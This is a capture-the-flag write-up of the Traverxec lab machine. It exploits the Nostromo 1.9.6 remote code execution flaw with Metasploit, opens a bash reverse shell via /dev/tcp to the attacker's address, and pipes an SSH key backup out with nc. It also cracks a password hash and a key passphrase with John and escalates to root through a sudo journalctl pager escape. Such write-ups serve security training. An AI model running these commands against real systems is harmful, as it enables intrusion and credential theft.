Traverxec is an easy Linux machine that starts with exploitation of a Nostromo web server. The server is vulnerable to a remote code execution, and this allows me to gain an interactive shell access into the system. Enumeration of the system discovers a backup files that contains user SSH keys. The user is allowed to run a sudo on journalctl binary, and this could be leveraged to obtain root access.

Skills Learned

  • Path Traversal
  • Sudo exploitation on journalctl

Tools

  • Nmap
  • Metasploit

Reconnaissance

Nmap

An initial TCP scan discovers two open ports: SSH on port 22 and a Nostromo web server on port 80.

→ kali@kali «traverxec» «10.10.14.34» 
$ nmap -p22,80 -sC -sV  -oA nmap/10-tcp-allport-script-traverxec 10.10.10.165
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-13 16:11 EDT
Nmap scan report for 10.10.10.165
Host is up (0.44s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
| ssh-hostkey: 
|   2048 aa:99:a8:16:68:cd:41:cc:f9:6c:84:01:c7:59:09:5c (RSA)
|   256 93:dd:1a:23:ee:d7:1f:08:6b:58:47:09:73:a3:88:cc (ECDSA)
|_  256 9d:d6:62:1e:7a:fb:8f:56:92:e6:37:f1:10:db:9b:ce (ED25519)
80/tcp open  http    nostromo 1.9.6
|_http-server-header: nostromo 1.9.6
|_http-title: TRAVERXEC
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.71 seconds

Enumeration

TCP 80 - Nostromo

The hosted site is a personal website of David White.

image-20210714031626971

At the bottom of the page, there is a contact form with 4 input vectors.

image-20210714031846286

I submitted some values and then started to observe the network traffic, but nothing happen there.

image-20210714032010619

I ran gobuster, but it also didn’t find any interesting.

Finding Vulnerabilities

From previous nmap, nmap identified the nostromo version to be 1.9.6. Feeding that version on searchsploit pops a remote code execution exploit.

→ kali@kali «traverxec» «10.10.14.34» 
$ searchsploit nostromo 1.9.6         
--------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                               |  Path
--------------------------------------------------------------------------------------------- ---------------------------------
nostromo 1.9.6 - Remote Code Execution                                                       | multiple/remote/47837.py
--------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

Foothold

Shell as www-data

Nostromo RCE CVE-2019-16278 (Metasploit)

Metasploit also has a module for the Nostromo 1.9.6 RCE and I will use that.

→ kali@kali «traverxec» «10.10.14.34» 
$ msfconsole -q
msf6 > search nostromo

Matching Modules
================

   #  Name                                   Disclosure Date  Rank  Check  Description
   -  ----                                   ---------------  ----  -----  -----------
   0  exploit/multi/http/nostromo_code_exec  2019-10-20       good  Yes    Nostromo Directory Traversal Remote Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/nostromo_code_exec

msf6 > use 0
[*] Using configured payload cmd/unix/reverse_perl

Once all the configs are set, I will run the exploits. This results in an interactive shell access as www-data.

msf6 exploit(multi/http/nostromo_code_exec) > run

[*] Started reverse TCP handler on 10.10.14.34:53 
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (10.10.14.34:53 -> 10.10.10.165:52716) at 2021-07-13 16:31:29 -0400

id

uid=33(www-data) gid=33(www-data) groups=33(www-data)
hostname && ip a
traverxec
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:50:56:b9:a0:f8 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.165/24 brd 10.10.10.255 scope global eth0
       valid_lft forever preferred_lft forever

Shell Upgrade

I will create another interactive shell session so I can upgrade my shell with the PTY trick.

which bash
/usr/bin/bash
bash -c "bash -i >& /dev/tcp/10.10.14.34/53 0>&1" &

On my new session:

→ kali@kali «traverxec» «10.10.14.34» 
$ nc -nvlp 53
listening on [any] 53 ...
connect to [10.10.14.34] from (UNKNOWN) [10.10.10.165] 52718
bash: cannot set terminal process group (421): Inappropriate ioctl for device
bash: no job control in this shell
www-data@traverxec:/usr/bin$ script /dev/null -c bash 
script /dev/null -c bash
Script started, file is /dev/null
www-data@traverxec:/usr/bin$ export TERM=xterm
export TERM=xterm
www-data@traverxec:/usr/bin$ ^Z
[1]  + 3835 suspended  nc -nvlp 53
→ kali@kali «traverxec» «10.10.14.34» 
$ stty raw -echo;fg     
[1]  + 3835 continued  nc -nvlp 53

www-data@traverxec:/usr/bin$ stty cols 127 rows 30

Privilege Escalation

Shell as david

Nostromo config

The nostromo config file under /var/nostromo/conf reveals that there is a .htpasswd

www-data@traverxec:/var/nostromo/conf$ cat nhttpd.conf 
# MAIN [MANDATORY]

servername              traverxec.htb
serverlisten            *
serveradmin             david@traverxec.htb
serverroot              /var/nostromo
servermimes             conf/mimes
docroot                 /var/nostromo/htdocs
docindex                index.html

# LOGS [OPTIONAL]

logpid                  logs/nhttpd.pid

# SETUID [RECOMMENDED]

user                    www-data

# BASIC AUTHENTICATION [OPTIONAL]

htaccess                .htaccess
htpasswd                /var/nostromo/conf/.htpasswd

# ALIASES [OPTIONAL]

/icons                  /var/nostromo/icons

# HOMEDIRS [OPTIONAL]

homedirs                /home
homedirs_public         public_www

This.htpasswd file contains a password hash for user david.

www-data@traverxec:/var/nostromo/conf$ cat .htpasswd 
david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/
www-data@traverxec:/var/nostromo/conf$ cat /etc/passwd | grep sh && ls -l /home
root:x:0:0:root:/root:/bin/bash
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
david:x:1000:1000:david,,,:/home/david:/bin/bash
total 4
drwx--x--x 6 david david 4096 Jul 13 06:57 david

Password Cracking

JtR can recover the password easily.

$ ./john.exe hashes/traverxec-david.hash --wordlist=C:/tools/rockyou.txt                                  

...[SNIP]...
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Nowonly4me       (david)
1g 0:00:00:43 DONE (2021-07-14 03:44) 0.02307g/s 244113p/s 244113c/s 244113C/s NuiKo910..Noury
...[SNIP]...

But turns out it’s not a reused password.

www-data@traverxec:/var/nostromo/conf$ su david
Password: 
su: Authentication failure
www-data@traverxec:/var/nostromo/conf$ 

Path Traversal - David home directory

The david home directory is not readable by others, but it allows execute permissions. With that, I can determine what files all are available under david’s home directory by spamming one character and leverage the tab completion. This is one of the benefits of doing a shell upgrade!

www-data@traverxec:/var/nostromo/conf$ ls -l /home/david/
ls: cannot open directory '/home/david/': Permission denied
www-data@traverxec:/var/nostromo/conf$ ls -ld /home/david/
drwx--x--x 6 david david 4096 Jul 13 06:57 /home/david/
www-data@traverxec:/var/nostromo/conf$ ls -ld /home/david/.ssh
drwx------ 2 david david 4096 Oct 25  2019 /home/david/.ssh
www-data@traverxec:/var/nostromo/conf$ ls -ld /home/david/user.txt
-r--r----- 1 root david 33 Oct 25  2019 /home/david/user.txt

Then, when I type public_www (from nostromo config), the tab completion confirms that the folder is there. With r-x, I can use ls -lR command to list all the available contents recursively.

www-data@traverxec:/var/nostromo/conf$ ls -ld /home/david/public_www
drwxr-xr-x 3 david david 4096 Oct 25  2019 /home/david/public_www
www-data@traverxec:/var/nostromo/conf$ ls -lR /home/david/public_www
/home/david/public_www:
total 8
-rw-r--r-- 1 david david  402 Oct 25  2019 index.html
drwxr-xr-x 2 david david 4096 Oct 25  2019 protected-file-area

/home/david/public_www/protected-file-area:
total 4
-rw-r--r-- 1 david david 1915 Oct 25  2019 backup-ssh-identity-files.tgz

The backup-ssh-identity-files.tgz seems interesting, I will grab that to my Kali.

www-data@traverxec:/var/nostromo/conf$ cat /home/david/public_www/protected-file-area/backup-ssh-identity-files.tgz | nc 10.10.14.34 53

On my Kali:

→ kali@kali «traverxec» «10.10.14.34» 
$ nc -nvlp 53 > loot/backup-ssh-identity-files.tgz
listening on [any] 53 ...
connect to [10.10.14.34] from (UNKNOWN) [10.10.10.165] 52728

Passphrase crack

The backup file contains a set of SSH keys.

→ kali@kali «loot» «10.10.14.34» 
$ tar -xvf backup-ssh-identity-files.tgz 
home/david/.ssh/
home/david/.ssh/authorized_keys
home/david/.ssh/id_rsa
home/david/.ssh/id_rsa.pub

But, it is protected with a passphrase.

→ kali@kali «ssh-keys» «10.10.14.34» 
$ ssh -i id_rsa david@traverxec.htb 
Enter passphrase for key 'id_rsa': 
david@traverxec.htb's password:

So I will convert the key to crackable format hash using ssh2john.

$ /usr/share/john/ssh2john.py id_rsa > david_rsa.hash 
→ kali@kali «ssh-keys» «10.10.14.34» 
$ cat david_rsa.hash 
id_rsa:$sshng$1$16$477EEFFBA56F9D283D349033D5D08C4F$1200$b1ec9e1ff7de1b5f5395468c76f1d92bfdaa7f2f29c3076bf6c83be71e213e9249f186ae856a2b08de0b3c957ec1f086b6e8813df672...[SNIP]...

JtR recovers the passphrase to hunter.

$ ./john.exe hashes/traverxec-david-rsa.hash --wordlist=C:/tools/rockyou.txt                    
...[SNIP]...
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
hunter           (id_rsa)

SSH - david

The key and the passphrase are work for user david.

→ kali@kali «traverxec» «10.10.14.34» 
$ ssh -i ssh-keys/david_rsa david@traverxec.htb
Enter passphrase for key 'ssh-keys/david_rsa': 
Linux traverxec 4.19.0-6-amd64 #1 SMP Debian 4.19.67-2+deb10u1 (2019-09-20) x86_64
Last login: Tue Jul 13 06:54:56 2021 from 10.10.16.7
david@traverxec:~$ id
uid=1000(david) gid=1000(david) groups=1000(david),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)

User flag is done here

david@traverxec:~$ ls -la
total 60
drwx--x--x 6 david david  4096 Jul 13 06:57 .
drwxr-xr-x 3 root  root   4096 Oct 25  2019 ..
-rwxr-xr-x 1 david david 18992 Jul 13 05:43 47163
lrwxrwxrwx 1 root  root      9 Oct 25  2019 .bash_history -> /dev/null
-rw-r--r-- 1 david david   220 Oct 25  2019 .bash_logout
-rw-r--r-- 1 david david  3544 Jul 13 06:57 .bashrc
drwx------ 2 david david  4096 Oct 25  2019 bin
drwxr-xr-x 3 david david  4096 Jul 13 06:56 .local
-rw-r--r-- 1 david david   807 Oct 25  2019 .profile
drwxr-xr-x 3 david david  4096 Oct 25  2019 public_www
drwx------ 2 david david  4096 Oct 25  2019 .ssh
-r--r----- 1 root  david    33 Oct 25  2019 user.txt
david@traverxec:~$ cat user.txt 
7db0...[SNIP]...

Shell as root

Enumeration

In david’s home directory, there is a folder called bin. Under this bin folder, there is a bash script.

david@traverxec:~$ ls -l bin/
total 8
-r-------- 1 david david 802 Oct 25  2019 server-stats.head
-rwx------ 1 david david 363 Oct 25  2019 server-stats.sh

When I run the script, I get the following results:

david@traverxec:~/bin$ ./server-stats.sh 
                                                                          .----.
                                                              .---------. | == |
   Webserver Statistics and Data                              |.-"""""-.| |----|
         Collection Script                                    ||       || | == |
          (c) David, 2019                                     ||       || |----|
                                                              |'-.....-'| |::::|
                                                              '"")---(""' |___.|
                                                             /:::::::::::\"    "
                                                            /:::=======:::\
                                                        jgs '"""""""""""""' 

Load:  18:24:49 up 17:04,  1 user,  load average: 0.13, 0.04, 0.01
 
Open nhttpd sockets: 0
Files in the docroot: 117
 
Last 5 journal log lines:
-- Logs begin at Tue 2021-07-13 01:20:43 EDT, end at Tue 2021-07-13 18:24:49 EDT. --
Jul 13 17:16:02 traverxec sudo[24501]: pam_unix(sudo:auth): authentication failure; logname= uid=33 euid=0 tty=/dev/pts/0 ruser=www-data rhost=  user=www-data
Jul 13 17:16:04 traverxec sudo[24501]: pam_unix(sudo:auth): conversation failed
Jul 13 17:16:04 traverxec sudo[24501]: pam_unix(sudo:auth): auth could not identify password for [www-data]
Jul 13 17:16:04 traverxec sudo[24501]: www-data : command not allowed ; TTY=pts/0 ; PWD=/dev/shm ; USER=root ; COMMAND=list
Jul 13 17:16:04 traverxec nologin[24564]: Attempted login by UNKNOWN on UNKNOWN

Sudo journalctl

Based on the contents of server-stats.sh, user david seems to be allowed to run journalctl with sudo.

david@traverxec:~/bin$ cat server-stats.sh 
#!/bin/bash

cat /home/david/bin/server-stats.head
echo "Load: `/usr/bin/uptime`"
echo " "
echo "Open nhttpd sockets: `/usr/bin/ss -H sport = 80 | /usr/bin/wc -l`"
echo "Files in the docroot: `/usr/bin/find /var/nostromo/htdocs/ | /usr/bin/wc -l`"
echo " "
echo "Last 5 journal log lines:"
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service | /usr/bin/cat 

But, when I run /usr/bin/sudo /usr/bin/journalctl, it asks for a password.

david@traverxec:~/bin$ /usr/bin/sudo /usr/bin/journalctl
[sudo] password for david: 
Sorry, try again.

Then, I grab this line /usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service and run it. This is what I get:

image-20210714052617836

That means I can run the following command with sudo.

/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service 

According to the GTFOBins, the default pager of journalctl is less. Now since it runs with root privilege, I can escape from the pager using !/bin/bash.

image-20210714054042963

References